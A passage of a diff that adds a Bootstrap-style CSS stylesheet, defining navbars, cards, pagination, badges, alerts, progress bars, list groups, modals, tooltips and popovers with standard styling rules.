.navbar-toggler { + display: none + } + .navbar-expand-md .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width:991.98px) { + .navbar-expand-lg>.container, + .navbar-expand-lg>.container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width:992px) { + .navbar-expand-lg { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + .navbar-expand-lg .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + .navbar-expand-lg .navbar-nav .dropdown-menu { + position: absolute + } + .navbar-expand-lg .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + .navbar-expand-lg .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem + } + .navbar-expand-lg>.container, + .navbar-expand-lg>.container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + .navbar-expand-lg .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + .navbar-expand-lg .navbar-toggler { + display: none + } + .navbar-expand-lg .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width:1199.98px) { + .navbar-expand-xl>.container, + .navbar-expand-xl>.container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width:1200px) { + .navbar-expand-xl { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + .navbar-expand-xl .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + .navbar-expand-xl .navbar-nav .dropdown-menu { + position: absolute + } + .navbar-expand-xl .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + .navbar-expand-xl .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem + } + .navbar-expand-xl>.container, + .navbar-expand-xl>.container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + .navbar-expand-xl .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + .navbar-expand-xl .navbar-toggler { + display: none + } + .navbar-expand-xl .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +.navbar-expand { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start +} + +.navbar-expand>.container, +.navbar-expand>.container-fluid { + padding-right: 0; + padding-left: 0 +} + +.navbar-expand .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row +} + +.navbar-expand .navbar-nav .dropdown-menu { + position: absolute +} + +.navbar-expand .navbar-nav .dropdown-menu-right { + right: 0; + left: auto +} + +.navbar-expand .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem +} + +.navbar-expand>.container, +.navbar-expand>.container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap +} + +.navbar-expand .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto +} + +.navbar-expand .navbar-toggler { + display: none +} + +.navbar-expand .dropup .dropdown-menu { + top: auto; + bottom: 100% +} + +.navbar-light .navbar-brand { + color: rgba(0, 0, 0, .9) +} + +.navbar-light .navbar-brand:focus, +.navbar-light .navbar-brand:hover { + color: rgba(0, 0, 0, .9) +} + +.navbar-light .navbar-nav .nav-link { + color: rgba(0, 0, 0, .5) +} + +.navbar-light .navbar-nav .nav-link:focus, +.navbar-light .navbar-nav .nav-link:hover { + color: rgba(0, 0, 0, .7) +} + +.navbar-light .navbar-nav .nav-link.disabled { + color: rgba(0, 0, 0, .3) +} + +.navbar-light .navbar-nav .active>.nav-link, +.navbar-light .navbar-nav .nav-link.active, +.navbar-light .navbar-nav .nav-link.show, +.navbar-light .navbar-nav .show>.nav-link { + color: rgba(0, 0, 0, .9) +} + +.navbar-light .navbar-toggler { + color: rgba(0, 0, 0, .5); + border-color: rgba(0, 0, 0, .1) +} + +.navbar-light .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E") +} + +.navbar-light .navbar-text { + color: rgba(0, 0, 0, .5) +} + +.navbar-light .navbar-text a { + color: rgba(0, 0, 0, .9) +} + +.navbar-light .navbar-text a:focus, +.navbar-light .navbar-text a:hover { + color: rgba(0, 0, 0, .9) +} + +.navbar-dark .navbar-brand { + color: #fff +} + +.navbar-dark .navbar-brand:focus, +.navbar-dark .navbar-brand:hover { + color: #fff +} + +.navbar-dark .navbar-nav .nav-link { + color: rgba(255, 255, 255, .5) +} + +.navbar-dark .navbar-nav .nav-link:focus, +.navbar-dark .navbar-nav .nav-link:hover { + color: rgba(255, 255, 255, .75) +} + +.navbar-dark .navbar-nav .nav-link.disabled { + color: rgba(255, 255, 255, .25) +} + +.navbar-dark .navbar-nav .active>.nav-link, +.navbar-dark .navbar-nav .nav-link.active, +.navbar-dark .navbar-nav .nav-link.show, +.navbar-dark .navbar-nav .show>.nav-link { + color: #fff +} + +.navbar-dark .navbar-toggler { + color: rgba(255, 255, 255, .5); + border-color: rgba(255, 255, 255, .1) +} + +.navbar-dark .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E") +} + +.navbar-dark .navbar-text { + color: rgba(255, 255, 255, .5) +} + +.navbar-dark .navbar-text a { + color: #fff +} + +.navbar-dark .navbar-text a:focus, +.navbar-dark .navbar-text a:hover { + color: #fff +} + +.card { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + min-width: 0; + word-wrap: break-word; + background-color: #fff; + background-clip: border-box; + border: 1px solid rgba(0, 0, 0, .125); + border-radius: .25rem +} + +.card>hr { + margin-right: 0; + margin-left: 0 +} + +.card>.list-group:first-child .list-group-item:first-child { + border-top-left-radius: .25rem; + border-top-right-radius: .25rem +} + +.card>.list-group:last-child .list-group-item:last-child { + border-bottom-right-radius: .25rem; + border-bottom-left-radius: .25rem +} + +.card-body { + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1.25rem +} + +.card-title { + margin-bottom: .75rem +} + +.card-subtitle { + margin-top: -.375rem; + margin-bottom: 0 +} + +.card-text:last-child { + margin-bottom: 0 +} + +.card-link:hover { + text-decoration: none +} + +.card-link+.card-link { + margin-left: 1.25rem +} + +.card-header { + padding: .75rem 1.25rem; + margin-bottom: 0; + background-color: rgba(0, 0, 0, .03); + border-bottom: 1px solid rgba(0, 0, 0, .125) +} + +.card-header:first-child { + border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0 +} + +.card-header+.list-group .list-group-item:first-child { + border-top: 0 +} + +.card-footer { + padding: .75rem 1.25rem; + background-color: rgba(0, 0, 0, .03); + border-top: 1px solid rgba(0, 0, 0, .125) +} + +.card-footer:last-child { + border-radius: 0 0 calc(.25rem - 1px) calc(.25rem - 1px) +} + +.card-header-tabs { + margin-right: -.625rem; + margin-bottom: -.75rem; + margin-left: -.625rem; + border-bottom: 0 +} + +.card-header-pills { + margin-right: -.625rem; + margin-left: -.625rem +} + +.card-img-overlay { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + padding: 1.25rem +} + +.card-img { + width: 100%; + border-radius: calc(.25rem - 1px) +} + +.card-img-top { + width: 100%; + border-top-left-radius: calc(.25rem - 1px); + border-top-right-radius: calc(.25rem - 1px) +} + +.card-img-bottom { + width: 100%; + border-bottom-right-radius: calc(.25rem - 1px); + border-bottom-left-radius: calc(.25rem - 1px) +} + +.card-deck { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column +} + +.card-deck .card { + margin-bottom: 15px +} + +@media (min-width:576px) { + .card-deck { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + margin-right: -15px; + margin-left: -15px + } + .card-deck .card { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-flex: 1; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + margin-right: 15px; + margin-bottom: 0; + margin-left: 15px + } +} + +.card-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column +} + +.card-group>.card { + margin-bottom: 15px +} + +@media (min-width:576px) { + .card-group { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap + } + .card-group>.card { + -webkit-box-flex: 1; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + margin-bottom: 0 + } + .card-group>.card+.card { + margin-left: 0; + border-left: 0 + } + .card-group>.card:first-child { + border-top-right-radius: 0; + border-bottom-right-radius: 0 + } + .card-group>.card:first-child .card-header, + .card-group>.card:first-child .card-img-top { + border-top-right-radius: 0 + } + .card-group>.card:first-child .card-footer, + .card-group>.card:first-child .card-img-bottom { + border-bottom-right-radius: 0 + } + .card-group>.card:last-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0 + } + .card-group>.card:last-child .card-header, + .card-group>.card:last-child .card-img-top { + border-top-left-radius: 0 + } + .card-group>.card:last-child .card-footer, + .card-group>.card:last-child .card-img-bottom { + border-bottom-left-radius: 0 + } + .card-group>.card:only-child { + border-radius: .25rem + } + .card-group>.card:only-child .card-header, + .card-group>.card:only-child .card-img-top { + border-top-left-radius: .25rem; + border-top-right-radius: .25rem + } + .card-group>.card:only-child .card-footer, + .card-group>.card:only-child .card-img-bottom { + border-bottom-right-radius: .25rem; + border-bottom-left-radius: .25rem + } + .card-group>.card:not(:first-child):not(:last-child):not(:only-child) { + border-radius: 0 + } + .card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer, + .card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header, + .card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom, + .card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top { + border-radius: 0 + } +} + +.card-columns .card { + margin-bottom: .75rem +} + +@media (min-width:576px) { + .card-columns { + -webkit-column-count: 3; + -moz-column-count: 3; + column-count: 3; + -webkit-column-gap: 1.25rem; + -moz-column-gap: 1.25rem; + column-gap: 1.25rem + } + .card-columns .card { + display: inline-block; + width: 100% + } +} + +.breadcrumb { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding: .75rem 1rem; + margin-bottom: 1rem; + list-style: none; + background-color: #e9ecef; + border-radius: .25rem +} + +.breadcrumb-item+.breadcrumb-item::before { + display: inline-block; + padding-right: .5rem; + padding-left: .5rem; + color: #6c757d; + content: "/" +} + +.breadcrumb-item+.breadcrumb-item:hover::before { + text-decoration: underline +} + +.breadcrumb-item+.breadcrumb-item:hover::before { + text-decoration: none +} + +.breadcrumb-item.active { + color: #6c757d +} + +.pagination { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + padding-left: 0; + list-style: none; + border-radius: .25rem +} + +.page-link { + position: relative; + display: block; + padding: .5rem .75rem; + margin-left: -1px; + line-height: 1.25; + color: #007bff; + background-color: #fff; + border: 1px solid #dee2e6 +} + +.page-link:hover { + color: #0056b3; + text-decoration: none; + background-color: #e9ecef; + border-color: #dee2e6 +} + +.page-link:focus { + z-index: 2; + outline: 0; + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25) +} + +.page-link:not(:disabled):not(.disabled) { + cursor: pointer +} + +.page-item:first-child .page-link { + margin-left: 0; + border-top-left-radius: .25rem; + border-bottom-left-radius: .25rem +} + +.page-item:last-child .page-link { + border-top-right-radius: .25rem; + border-bottom-right-radius: .25rem +} + +.page-item.active .page-link { + z-index: 1; + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.page-item.disabled .page-link { + color: #6c757d; + pointer-events: none; + cursor: auto; + background-color: #fff; + border-color: #dee2e6 +} + +.pagination-lg .page-link { + padding: .75rem 1.5rem; + font-size: 1.25rem; + line-height: 1.5 +} + +.pagination-lg .page-item:first-child .page-link { + border-top-left-radius: .3rem; + border-bottom-left-radius: .3rem +} + +.pagination-lg .page-item:last-child .page-link { + border-top-right-radius: .3rem; + border-bottom-right-radius: .3rem +} + +.pagination-sm .page-link { + padding: .25rem .5rem; + font-size: .875rem; + line-height: 1.5 +} + +.pagination-sm .page-item:first-child .page-link { + border-top-left-radius: .2rem; + border-bottom-left-radius: .2rem +} + +.pagination-sm .page-item:last-child .page-link { + border-top-right-radius: .2rem; + border-bottom-right-radius: .2rem +} + +.badge { + display: inline-block; + padding: .25em .4em; + font-size: 75%; + font-weight: 700; + line-height: 1; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25rem +} + +.badge:empty { + display: none +} + +.btn .badge { + position: relative; + top: -1px +} + +.badge-pill { + padding-right: .6em; + padding-left: .6em; + border-radius: 10rem +} + +.badge-primary { + color: #fff; + background-color: #007bff +} + +.badge-primary[href]:focus, +.badge-primary[href]:hover { + color: #fff; + text-decoration: none; + background-color: #0062cc +} + +.badge-secondary { + color: #fff; + background-color: #6c757d +} + +.badge-secondary[href]:focus, +.badge-secondary[href]:hover { + color: #fff; + text-decoration: none; + background-color: #545b62 +} + +.badge-success { + color: #fff; + background-color: #28a745 +} + +.badge-success[href]:focus, +.badge-success[href]:hover { + color: #fff; + text-decoration: none; + background-color: #1e7e34 +} + +.badge-info { + color: #fff; + background-color: #17a2b8 +} + +.badge-info[href]:focus, +.badge-info[href]:hover { + color: #fff; + text-decoration: none; + background-color: #117a8b +} + +.badge-warning { + color: #212529; + background-color: #ffc107 +} + +.badge-warning[href]:focus, +.badge-warning[href]:hover { + color: #212529; + text-decoration: none; + background-color: #d39e00 +} + +.badge-danger { + color: #fff; + background-color: #dc3545 +} + +.badge-danger[href]:focus, +.badge-danger[href]:hover { + color: #fff; + text-decoration: none; + background-color: #bd2130 +} + +.badge-light { + color: #212529; + background-color: #f8f9fa +} + +.badge-light[href]:focus, +.badge-light[href]:hover { + color: #212529; + text-decoration: none; + background-color: #dae0e5 +} + +.badge-dark { + color: #fff; + background-color: #343a40 +} + +.badge-dark[href]:focus, +.badge-dark[href]:hover { + color: #fff; + text-decoration: none; + background-color: #1d2124 +} + +.jumbotron { + padding: 2rem 1rem; + margin-bottom: 2rem; + background-color: #e9ecef; + border-radius: .3rem +} + +@media (min-width:576px) { + .jumbotron { + padding: 4rem 2rem + } +} + +.jumbotron-fluid { + padding-right: 0; + padding-left: 0; + border-radius: 0 +} + +.alert { + position: relative; + padding: .75rem 1.25rem; + margin-bottom: 1rem; + border: 1px solid transparent; + border-radius: .25rem +} + +.alert-heading { + color: inherit +} + +.alert-link { + font-weight: 700 +} + +.alert-dismissible { + padding-right: 4rem +} + +.alert-dismissible .close { + position: absolute; + top: 0; + right: 0; + padding: .75rem 1.25rem; + color: inherit +} + +.alert-primary { + color: #004085; + background-color: #cce5ff; + border-color: #b8daff +} + +.alert-primary hr { + border-top-color: #9fcdff +} + +.alert-primary .alert-link { + color: #002752 +} + +.alert-secondary { + color: #383d41; + background-color: #e2e3e5; + border-color: #d6d8db +} + +.alert-secondary hr { + border-top-color: #c8cbcf +} + +.alert-secondary .alert-link { + color: #202326 +} + +.alert-success { + color: #155724; + background-color: #d4edda; + border-color: #c3e6cb +} + +.alert-success hr { + border-top-color: #b1dfbb +} + +.alert-success .alert-link { + color: #0b2e13 +} + +.alert-info { + color: #0c5460; + background-color: #d1ecf1; + border-color: #bee5eb +} + +.alert-info hr { + border-top-color: #abdde5 +} + +.alert-info .alert-link { + color: #062c33 +} + +.alert-warning { + color: #856404; + background-color: #fff3cd; + border-color: #ffeeba +} + +.alert-warning hr { + border-top-color: #ffe8a1 +} + +.alert-warning .alert-link { + color: #533f03 +} + +.alert-danger { + color: #721c24; + background-color: #f8d7da; + border-color: #f5c6cb +} + +.alert-danger hr { + border-top-color: #f1b0b7 +} + +.alert-danger .alert-link { + color: #491217 +} + +.alert-light { + color: #818182; + background-color: #fefefe; + border-color: #fdfdfe +} + +.alert-light hr { + border-top-color: #ececf6 +} + +.alert-light .alert-link { + color: #686868 +} + +.alert-dark { + color: #1b1e21; + background-color: #d6d8d9; + border-color: #c6c8ca +} + +.alert-dark hr { + border-top-color: #b9bbbe +} + +.alert-dark .alert-link { + color: #040505 +} + +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 1rem 0 + } + to { + background-position: 0 0 + } +} + +@keyframes progress-bar-stripes { + from { + background-position: 1rem 0 + } + to { + background-position: 0 0 + } +} + +.progress { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + height: 1rem; + overflow: hidden; + font-size: .75rem; + background-color: #e9ecef; + border-radius: .25rem +} + +.progress-bar { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + color: #fff; + text-align: center; + background-color: #007bff; + transition: width .6s ease +} + +.progress-bar-striped { + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-size: 1rem 1rem +} + +.progress-bar-animated { + -webkit-animation: progress-bar-stripes 1s linear infinite; + animation: progress-bar-stripes 1s linear infinite +} + +.media { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start +} + +.media-body { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1 +} + +.list-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0 +} + +.list-group-item-action { + width: 100%; + color: #495057; + text-align: inherit +} + +.list-group-item-action:focus, +.list-group-item-action:hover { + color: #495057; + text-decoration: none; + background-color: #f8f9fa +} + +.list-group-item-action:active { + color: #212529; + background-color: #e9ecef +} + +.list-group-item { + position: relative; + display: block; + padding: .75rem 1.25rem; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid rgba(0, 0, 0, .125) +} + +.list-group-item:first-child { + border-top-left-radius: .25rem; + border-top-right-radius: .25rem +} + +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: .25rem; + border-bottom-left-radius: .25rem +} + +.list-group-item:focus, +.list-group-item:hover { + z-index: 1; + text-decoration: none +} + +.list-group-item.disabled, +.list-group-item:disabled { + color: #6c757d; + background-color: #fff +} + +.list-group-item.active { + z-index: 2; + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.list-group-flush .list-group-item { + border-right: 0; + border-left: 0; + border-radius: 0 +} + +.list-group-flush:first-child .list-group-item:first-child { + border-top: 0 +} + +.list-group-flush:last-child .list-group-item:last-child { + border-bottom: 0 +} + +.list-group-item-primary { + color: #004085; + background-color: #b8daff +} + +.list-group-item-primary.list-group-item-action:focus, +.list-group-item-primary.list-group-item-action:hover { + color: #004085; + background-color: #9fcdff +} + +.list-group-item-primary.list-group-item-action.active { + color: #fff; + background-color: #004085; + border-color: #004085 +} + +.list-group-item-secondary { + color: #383d41; + background-color: #d6d8db +} + +.list-group-item-secondary.list-group-item-action:focus, +.list-group-item-secondary.list-group-item-action:hover { + color: #383d41; + background-color: #c8cbcf +} + +.list-group-item-secondary.list-group-item-action.active { + color: #fff; + background-color: #383d41; + border-color: #383d41 +} + +.list-group-item-success { + color: #155724; + background-color: #c3e6cb +} + +.list-group-item-success.list-group-item-action:focus, +.list-group-item-success.list-group-item-action:hover { + color: #155724; + background-color: #b1dfbb +} + +.list-group-item-success.list-group-item-action.active { + color: #fff; + background-color: #155724; + border-color: #155724 +} + +.list-group-item-info { + color: #0c5460; + background-color: #bee5eb +} + +.list-group-item-info.list-group-item-action:focus, +.list-group-item-info.list-group-item-action:hover { + color: #0c5460; + background-color: #abdde5 +} + +.list-group-item-info.list-group-item-action.active { + color: #fff; + background-color: #0c5460; + border-color: #0c5460 +} + +.list-group-item-warning { + color: #856404; + background-color: #ffeeba +} + +.list-group-item-warning.list-group-item-action:focus, +.list-group-item-warning.list-group-item-action:hover { + color: #856404; + background-color: #ffe8a1 +} + +.list-group-item-warning.list-group-item-action.active { + color: #fff; + background-color: #856404; + border-color: #856404 +} + +.list-group-item-danger { + color: #721c24; + background-color: #f5c6cb +} + +.list-group-item-danger.list-group-item-action:focus, +.list-group-item-danger.list-group-item-action:hover { + color: #721c24; + background-color: #f1b0b7 +} + +.list-group-item-danger.list-group-item-action.active { + color: #fff; + background-color: #721c24; + border-color: #721c24 +} + +.list-group-item-light { + color: #818182; + background-color: #fdfdfe +} + +.list-group-item-light.list-group-item-action:focus, +.list-group-item-light.list-group-item-action:hover { + color: #818182; + background-color: #ececf6 +} + +.list-group-item-light.list-group-item-action.active { + color: #fff; + background-color: #818182; + border-color: #818182 +} + +.list-group-item-dark { + color: #1b1e21; + background-color: #c6c8ca +} + +.list-group-item-dark.list-group-item-action:focus, +.list-group-item-dark.list-group-item-action:hover { + color: #1b1e21; + background-color: #b9bbbe +} + +.list-group-item-dark.list-group-item-action.active { + color: #fff; + background-color: #1b1e21; + border-color: #1b1e21 +} + +.close { + float: right; + font-size: 1.5rem; + font-weight: 700; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + opacity: .5 +} + +.close:focus, +.close:hover { + color: #000; + text-decoration: none; + opacity: .75 +} + +.close:not(:disabled):not(.disabled) { + cursor: pointer +} + +button.close { + padding: 0; + background-color: transparent; + border: 0; + -webkit-appearance: none +} + +.modal-open { + overflow: hidden +} + +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + outline: 0 +} + +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto +} + +.modal-dialog { + position: relative; + width: auto; + margin: .5rem; + pointer-events: none +} + +.modal.fade .modal-dialog { + transition: -webkit-transform .3s ease-out; + transition: transform .3s ease-out; + transition: transform .3s ease-out, -webkit-transform .3s ease-out; + -webkit-transform: translate(0, -25%); + transform: translate(0, -25%) +} + +.modal.show .modal-dialog { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) +} + +.modal-dialog-centered { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + min-height: calc(100% - (.5rem * 2)) +} + +.modal-content { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + pointer-events: auto; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: .3rem; + outline: 0 +} + +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000 +} + +.modal-backdrop.fade { + opacity: 0 +} + +.modal-backdrop.show { + opacity: .5 +} + +.modal-header { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 1rem; + border-bottom: 1px solid #e9ecef; + border-top-left-radius: .3rem; + border-top-right-radius: .3rem +} + +.modal-header .close { + padding: 1rem; + margin: -1rem -1rem -1rem auto +} + +.modal-title { + margin-bottom: 0; + line-height: 1.5 +} + +.modal-body { + position: relative; + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1rem +} + +.modal-footer { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: end; + -ms-flex-pack: end; + justify-content: flex-end; + padding: 1rem; + border-top: 1px solid #e9ecef +} + +.modal-footer>:not(:first-child) { + margin-left: .25rem +} + +.modal-footer>:not(:last-child) { + margin-right: .25rem +} + +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll +} + +@media (min-width:576px) { + .modal-dialog { + max-width: 500px; + margin: 1.75rem auto + } + .modal-dialog-centered { + min-height: calc(100% - (1.75rem * 2)) + } + .modal-sm { + max-width: 300px + } +} + +@media (min-width:992px) { + .modal-lg { + max-width: 800px + } +} + +.tooltip { + position: absolute; + z-index: 1070; + display: block; + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: .875rem; + word-wrap: break-word; + opacity: 0 +} + +.tooltip.show { + opacity: .9 +} + +.tooltip .arrow { + position: absolute; + display: block; + width: .8rem; + height: .4rem +} + +.tooltip .arrow::before { + position: absolute; + content: ""; + border-color: transparent; + border-style: solid +} + +.bs-tooltip-auto[x-placement^=top], +.bs-tooltip-top { + padding: .4rem 0 +} + +.bs-tooltip-auto[x-placement^=top] .arrow, +.bs-tooltip-top .arrow { + bottom: 0 +} + +.bs-tooltip-auto[x-placement^=top] .arrow::before, +.bs-tooltip-top .arrow::before { + top: 0; + border-width: .4rem .4rem 0; + border-top-color: #000 +} + +.bs-tooltip-auto[x-placement^=right], +.bs-tooltip-right { + padding: 0 .4rem +} + +.bs-tooltip-auto[x-placement^=right] .arrow, +.bs-tooltip-right .arrow { + left: 0; + width: .4rem; + height: .8rem +} + +.bs-tooltip-auto[x-placement^=right] .arrow::before, +.bs-tooltip-right .arrow::before { + right: 0; + border-width: .4rem .4rem .4rem 0; + border-right-color: #000 +} + +.bs-tooltip-auto[x-placement^=bottom], +.bs-tooltip-bottom { + padding: .4rem 0 +} + +.bs-tooltip-auto[x-placement^=bottom] .arrow, +.bs-tooltip-bottom .arrow { + top: 0 +} + +.bs-tooltip-auto[x-placement^=bottom] .arrow::before, +.bs-tooltip-bottom .arrow::before { + bottom: 0; + border-width: 0 .4rem .4rem; + border-bottom-color: #000 +} + +.bs-tooltip-auto[x-placement^=left], +.bs-tooltip-left { + padding: 0 .4rem +} + +.bs-tooltip-auto[x-placement^=left] .arrow, +.bs-tooltip-left .arrow { + right: 0; + width: .4rem; + height: .8rem +} + +.bs-tooltip-auto[x-placement^=left] .arrow::before, +.bs-tooltip-left .arrow::before { + left: 0; + border-width: .4rem 0 .4rem .4rem; + border-left-color: #000 +} + +.tooltip-inner { + max-width: 200px; + padding: .25rem .5rem; + color: #fff; + text-align: center; + background-color: #000; + border-radius: .25rem +} + +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: block; + max-width: 276px; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: .875rem; + word-wrap: break-word; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: .3rem +} + +.popover .arrow { + position: absolute; + display: block; + width: 1rem; + height: .5rem; + margin: 0 .3rem +} + +.popover .arrow::after, +.popover .arrow::before { + position: absolute; + display: block; + content: ""; + border-color: transparent; + border-style: solid +} + +.bs-popover-auto[x-placement^=top], +.bs-popover-top { + margin-bottom: .5rem +} + +.bs-popover-auto[x-placement^=top] .arrow, +.bs-popover-top .arrow { + bottom: calc((.5rem + 1px) * -1) +} + +.bs-popover-auto[x-placement^=top] .arrow::after, +.bs-popover-auto[x-placement^=top] .arrow::before, +.bs-popover-top .arrow::after, +.bs-popover-top .arrow::before { + border-width: .5rem .5rem 0 +} + +.bs-popover-auto[x-placement^=top] .arrow::before, +.bs-popover-top .arrow::before { + bottom: 0; + border-top-color: rgba(0, 0, 0, .25) +} + +.bs-popover-auto[x-placement^=top] .arrow::after, +.bs-popover-top .arrow::after { + bottom: 1px; + border-top-color: #fff +} + +.bs-popover-auto[x-placement^=right], +.bs-popover-right { + margin-left: .5rem +} + +.bs-popover-auto[x-placement^=right] .arrow, +.bs-popover-right .arrow { + left: calc((.5rem + 1px) * -1); + 